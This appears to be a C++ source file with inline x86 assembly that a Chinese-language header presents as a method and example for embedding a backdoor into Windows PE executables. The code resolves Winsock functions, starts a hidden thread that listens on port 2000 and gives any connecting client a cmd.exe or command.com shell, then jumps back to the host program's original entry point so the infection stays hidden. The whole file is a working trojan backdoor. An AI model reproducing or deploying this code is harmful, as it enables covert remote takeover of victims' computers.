code.cpp

PE可执行文件的镶入式程序的编写方法及示例(镶入式后门程序&原程序) 由于Microsoft公司的Windows系统是当前大部分个人电脑所使用的操作系统 主要包括win95,98,me,nt4,200

	mov   dword ptr [ebp-404Ch],eax//htons入口地址
	cmp         eax,0
	jz	exit1
//bind入口地址
	mov         dword ptr [ebp-124h],'dnib'
	mov         dword ptr [ebp-120h],0000h
	lea eax,[ebp-124h]
	push eax 
	push ebx
	call dword ptr [ebp-8h]
	mov   dword ptr [ebp-4050h],eax//bind入口地址
	cmp         eax,0
	jz	exit1
//listen入口地址
	mov         dword ptr [ebp-124h],'tsil'
	mov         dword ptr [ebp-120h],'ne'
	mov         dword ptr [ebp-11Ch],0000h
	lea eax,[ebp-124h]
	push eax 
	push ebx
	call dword ptr [ebp-8h]
	mov   dword ptr [ebp-4054h],eax//listen入口地址
	cmp         eax,0
	jz	exit1
//accept入口地址
	mov         dword ptr [ebp-124h],'ecca'
	mov         dword ptr [ebp-120h],'tp'
	mov         dword ptr [ebp-11Ch],0000h
	lea eax,[ebp-124h]
	push eax 
	push ebx
	call dword ptr [ebp-8h]
	mov   dword ptr [ebp-4058h],eax//accept入口地址
	cmp         eax,0
	jz	exit1
	}
//load msvcrt.dll
	_asm
	{
	mov         dword ptr [ebp-124h],'cvsm'
	mov         dword ptr [ebp-120h],'d.tr'
	mov         dword ptr [ebp-11Ch],'ll'
	mov         dword ptr [ebp-118h],0000h
	lea eax,[ebp-124h]
	push eax 
	call dword ptr [ebp-400ch]
	cmp         eax,0
	jz	exit1
	mov ebx,eax
//memset入口地址
	mov         dword ptr [ebp-124h],'smem'
	mov         dword ptr [ebp-120h],'te'
	mov         dword ptr [ebp-11Ch],0000h
	lea eax,[ebp-124h]
	push eax 
	push ebx
	call dword ptr [ebp-8h]
	mov   dword ptr [ebp-4090h],eax//memset入口地址
	cmp         eax,0
	jz	exit1
	}

//////////////////////////////////////////////////////////////

//建立后门线程

/////////////////////////////////////////////////////////////
	_asm
	{
   call    ex
   add	   ecx,32h //取得后门代码的地址
   mov     dword ptr [ebp-8],1
   mov     dword ptr [ebp-0Ch],0
   mov     dword ptr [ebp-10h],0Ch
   lea     eax,[ebp-4]
   push    eax
   push    0
   push    0
   push    ecx
   push    0
   lea     ecx,[ebp-10h]
   push    ecx
   call    dword ptr [ebp-4008h]
   call	   exit1 //返回真正的代码
		}
//////////////////////////////////////////////////////////////
//建立后门
/////////////////////////////////////////////////////////////
    _asm
   {
		mov eax,0x400
	call ex1
	mov ebp,dword ptr [ecx-0C70h]
   mov     byte ptr [ebp-1340h],0Dh
   mov     dword ptr [ebp-11ECh],0FFFFFFFFh
   mov     dword ptr [ebp-1DCh],0
   mov     dword ptr [ebp-1D8h],32h
   mov     dword ptr [ebp-1E4h],10h
   call    dword ptr [ebp-4004h]
   cmp     eax,80000000h
   jnb     loc_0040106C
   mov     dword ptr [ebp-11ECh],1
   mov     dword ptr [ebp-4118h],'.dmc'
   mov     dword ptr [ebp-4114h],'exe'
   mov     dword ptr [ebp-4110h],00000000h
   jmp     loc_0040107D
loc_0040106C:
   mov     dword ptr [ebp-11ECh],0
   mov     dword ptr [ebp-4118h],'mmoc'
   mov     dword ptr [ebp-4114h],'.dna'
   mov     dword ptr [ebp-4110h],'moc'
loc_0040107D:
   lea     eax,[ebp-1D4h]
   push    eax
   push    101h
   call    dword ptr [ebp-4030h]
   push    0
   push    1
   push    2
   call    dword ptr [ebp-4038h]
   mov     [ebp-30h],eax
   push    0
   push    1
   push    2
   call    dword ptr [ebp-4038h]
   mov     [ebp-12F8h],eax
   mov     word ptr [ebp-28h],2
   push    7D0h
   call    dword ptr [ebp-404Ch]
   mov     [ebp-26h],ax
   mov     dword ptr [ebp-24h],0
   mov     dword ptr [ebp-44h],0Ch
   mov     dword ptr [ebp-40h],0
   mov     dword ptr [ebp-3Ch],1
   push    10h
   lea     ecx,[ebp-28h]
   push    ecx
   mov     edx,[ebp-30h]
   push    edx
   call    dword ptr [ebp-4050h]
   push    2
   mov     eax,[ebp-30h]
   push    eax
   call    dword ptr [ebp-4054h]
loc_004010F7:
   lea     ecx,[ebp-1E4h]
   push    ecx
   lea     edx,[ebp-28h]
   push    edx
   mov     eax,[ebp-30h]
   push    eax
   call    dword ptr [ebp-4058h]
   mov     [ebp-12F8h],eax
   cmp     dword ptr [ebp-12F8h],0FFFFFFFFh
   jnz     loc_00401121
   xor     eax,eax
   jmp     loc_00401419
loc_00401121:
   push    0
   lea     ecx,[ebp-44h]
   push    ecx
   lea     edx,[ebp-34h]
   push    edx
   lea     eax,[ebp-38h]
   push    eax
   call    dword ptr [ebp-4000h]
   test    eax,eax
   jnz     loc_00401140
   xor     eax,eax
   jmp     loc_00401419
loc_00401140:
   push    0
   lea     ecx,[ebp-44h]
   push    ecx
   lea     edx,[ebp-1E0h]
   push    edx
   lea     eax,[ebp-2Ch]
   push    eax
   call    dword ptr [ebp-4000h]
   push    44h
   push    0
   lea     ecx,[ebp-133Ch]
   push    ecx
   call    dword ptr [ebp-4090h]
   add     esp,0Ch
   lea     edx,[ebp-133Ch]
   push    edx
   call    dword ptr [ebp-4028h]
   mov     dword ptr [ebp-133Ch],44h
   mov     dword ptr [ebp-1310h],101h
   mov     word ptr [ebp-130Ch],0
   mov     eax,[ebp-34h]
   mov     [ebp-12FCh],eax
   mov     ecx,[ebp-2Ch]
   mov     [ebp-1304h],ecx
   mov     edx,[ebp-34h]
   mov     [ebp-1300h],edx
   lea     eax,[ebp-14h]
   push    eax
   lea     ecx,[ebp-133Ch]
   push    ecx
   push    0
   push    0
   push    0
   push    1
   push    0
   push    0
   lea     edx,[ebp-4118h]
   push    edx
   push    0
   call    dword ptr [ebp-402Ch]
   test    eax,eax
   jnz     loc_004011DD
   xor     eax,eax
   jmp     loc_00401419
loc_004011DD:
   push    0C8h
   call    dword ptr [ebp-4018h]
loc_004011E8:
   mov     eax,1
   test    eax,eax
   je      loc_004013C8
   push    1000h
   push    0
   lea     ecx,[ebp-11E8h]
   push    ecx
   call    dword ptr [ebp-4090h]
   add     esp,0Ch
   mov     dword ptr [ebp-12F4h],0
loc_00401215:
   cmp     dword ptr [ebp-12F4h],40h
   jnb     loc_00401240
   mov     edx,[ebp-12F4h]
   mov     eax,[ebp-12F8h]
   mov     [ebp+edx*4-12F0h],eax
   mov     ecx,[ebp-12F4h]
   add     ecx,1
   mov     [ebp-12F4h],ecx
loc_00401240:
   xor     edx,edx
   test    edx,edx
   jnz     loc_00401215
   lea     eax,[ebp-1DCh]
   push    eax
   push    0
   push    0
   lea     ecx,[ebp-12F4h]
   push    ecx
   push    0
   call    dword ptr [ebp-4040h]
   mov     [ebp-11F0h],eax
   cmp     dword ptr [ebp-11F0h],0
   je      loc_00401338
   cmp     dword ptr [ebp-11F0h],0FFFFFFFFh
   je      loc_00401338
   lea     edx,[ebp-12F4h]
   push    edx
   mov     eax,[ebp-12F8h]
   push    eax
   call    dword ptr [ebp-4034h]
   test    eax,eax
   jz      loc_004012B6
   push    0
   push    1000h
   lea     ecx,[ebp-11E8h]
   push    ecx
   mov     edx,[ebp-12F8h]
   push    edx
   call    dword ptr [ebp-4044h]
   mov     [ebp-1E8h],eax
loc_004012B6:
   cmp     dword ptr [ebp-1E8h],0
   ja      loc_004012C4
   jmp     loc_00401417
loc_004012C4:
   push    0
   lea     eax,[ebp-1E8h]
   push    eax
   mov     ecx,[ebp-1E8h]
   push    ecx
   lea     edx,[ebp-11E8h]
   push    edx
   mov     eax,[ebp-1E0h]
   push    eax
   call    dword ptr [ebp-401Ch]
   mov     [ebp-11F0h],eax
   cmp     dword ptr [ebp-11F0h],0
   jnz     loc_004012FC
   jmp     loc_00401415
loc_004012FC:
   cmp     dword ptr [ebp-11ECh],0
   jnz     loc_0040132A
   push    0
   lea     ecx,[ebp-1E8h]
   push    ecx
   push    1
   lea     edx,[ebp-1340h]
   push    edx
   mov     eax,[ebp-1E0h]
   push    eax
   call    dword ptr [ebp-401Ch]
   mov     [ebp-11F0h],eax
loc_0040132A:
   cmp     dword ptr [ebp-11F0h],0
   jnz     loc_00401338
   jmp     loc_00401413
loc_00401338:
   push    1000h
   push    0
   lea     ecx,[ebp-11E8h]
   push    ecx
   call    dword ptr [ebp-4090h]
   add     esp,0Ch
   push    0
   lea     edx,[ebp-4]
   push    edx
   push    0
   push    0
   push    0
   mov     eax,[ebp-38h]
   push    eax
   call    dword ptr [ebp-4020h]
   cmp     dword ptr [ebp-4],0
   jbe     loc_004013C3
   push    0
   lea     ecx,[ebp-1E8h]
   push    ecx
   mov     edx,[ebp-4]
   push    edx
   lea     eax,[ebp-11E8h]
   push    eax
   mov     ecx,[ebp-38h]
   push    ecx
   call    dword ptr [ebp-4024h]
   mov     [ebp-11F0h],eax
   cmp     dword ptr [ebp-11F0h],0
   jnz     loc_00401399
   jmp     loc_00401411
loc_00401399:
   push    0
   mov     edx,[ebp-4]
   push    edx
   lea     eax,[ebp-11E8h]
   push    eax
   mov     ecx,[ebp-12F8h]
   push    ecx
   call    dword ptr [ebp-4048h]
   mov     [ebp-11F0h],eax
   cmp     dword ptr [ebp-11F0h],0
   jg      loc_004013C3
   jmp     loc_0040140F
loc_004013C3:
   jmp     loc_004011E8
loc_004013C8:
   mov     edx,[ebp-1E0h]
   push    edx
   call    dword ptr [ebp-4010h]
   mov     eax,[ebp-38h]
   push    eax
   call    dword ptr [ebp-4010h]
   mov     ecx,[ebp-2Ch]
   push    ecx
   call    dword ptr [ebp-4010h]
   mov     edx,[ebp-34h]
   push    edx
   call    dword ptr [ebp-4010h]
   mov     eax,[ebp-12F8h]
   push    eax
   call    dword ptr [ebp-403Ch]
   push    3E8h
   call    dword ptr [ebp-4018h]
   jmp     loc_004010F7
loc_0040140F:
   jmp     loc_004013C8
loc_00401411:
   jmp     loc_004013C8
loc_00401413:
   jmp     loc_004013C8
loc_00401415:
   jmp     loc_004013C8
loc_00401417:
   jmp     loc_004013C8
loc_00401419:
   mov     esp,ebp
   pop     ebp
   ret
   }
   
/////////////////////////////////////////////////////////////
ex:
	_asm
	{
		pop ecx
		push ecx
		ret
	}
ex1:
	_asm
	{
	call ex
	ret
	}
exit1:
///////////////////////////////////////////////////////////////
   _asm
   {
	mov eax,0x401000 //这里需要更改为程序人口
	jmp eax
  }
return 0;
}